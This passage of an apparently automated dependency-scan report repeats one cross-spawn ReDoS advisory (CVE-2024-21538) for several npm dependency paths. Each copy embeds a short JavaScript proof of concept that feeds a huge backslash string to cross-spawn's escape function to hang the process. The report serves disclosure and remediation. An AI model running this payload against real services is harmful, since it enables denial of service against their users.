"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmsearch@7.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmteam@6.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-profile@10.0.0",
